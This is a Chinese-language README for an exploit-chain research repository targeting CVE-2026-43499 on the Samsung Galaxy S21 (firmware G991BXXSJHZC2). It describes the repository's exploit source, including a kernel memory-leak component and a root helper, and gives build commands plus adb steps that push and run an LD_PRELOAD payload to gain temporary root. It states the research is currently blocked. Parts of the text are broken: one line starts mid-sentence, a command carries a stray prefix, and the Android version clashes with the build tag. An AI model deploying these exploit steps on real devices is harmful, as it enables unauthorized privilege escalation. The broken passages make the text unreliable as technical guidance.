针对 Samsung Galaxy S21 上 CVE-2026-43499 的漏洞利用链研究
针对固件 G991BXXSJHZC2 的三星 Galaxy S21 (o1s) 的设备专用 IonStack 载荷。通过 LD_PRELOAD 漏洞利用 + call_usermodehelper root-helper 守护进程提供易失性 root(与 IonStack-S22U / IONSTACK-S22 形态相同)。状态:研究阶段 — 受阻,见 RESEARCH.md。
| 字段 | 值 |
|---|---|
| 型号 | SM-G991B |
| 设备 | o1s |
| 固件 | G991BXXSJHZC2 |
| Android | 12 / API 31 (AP3A.240905.015.A2,指纹 samsung/o1sxeea/o1s) |
| 页大小 | 4096 |
| 内核 | 5.4.242-30958140-abG991BXXSJHZC2 |
| SoC | Exynos 2100 |
| 缓解措施 | CFI+PAC+PAN/UAO、KDP_CRED、SELinux enforcing、无 userfaultfd |
基于 NebuSec/CyberMeowfia 中发布的 IonStack CVE-2026-43499 实现(上游 b850d3bddc74c3328d5fbcc0568d21962b55d949)以及 BuSung-dev/CVE-2026-43499-S25U,并感谢 F-19-F/IonStackQuest3。上游 Apache License 2.0 保留在 LICENSE 中(见 NOTICE)。
Makefile build (NDK r27+, ANDROID_NDK_HOME)
src/ exploit source (o1s profile only)
src/targets/o1s-G991BXXSJHZC2/ target.h + p0_fingerprint.h
src/kernelsnitch/ mm_struct leak (futex hash collision)
tools/ p0 fingerprint helper
RESEARCH.md research notes (geometry, verdicts)
export ANDROID_NDK_HOME=/path/to/android-ndk
make clean all
# SLIDE_WRITER_SEL=1|2|3 selects mcast/sigreturn(default)/xattr writers.
# Unset selects the experimental pselect writer (see RESEARCH.md).
输出(build/o1s-G991BXXSJHZC2/):
cve-2026-43499(LD_PRELOAD 载荷)、cve-2026-43499-app.so(应用载荷)、
cve-2026-43499-root(root helper)。
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
# on success:
/adb shell "/data/local/tmp/cve-2026-43499-root -c 'id; getenforce'"
Root(如果获得)仅在重启前有效;不会刷写任何内容。
sched_setattr → rt_mutex_adjust_prio_chain → _raw_spin_trylock NULL 错误),却始终
无法落下标记:8 字节的 lock 字段位于已排查的阻塞系统调用均未覆盖的
复制间隙中(RESEARCH.md 中有经反汇编验证的逐系统调用深度图)。
Pipe-reclaim 门控系统性地未命中(0/0)。/data/local/tmp 在重启时会被清空 — 每次启动后需重新推送
二进制文件。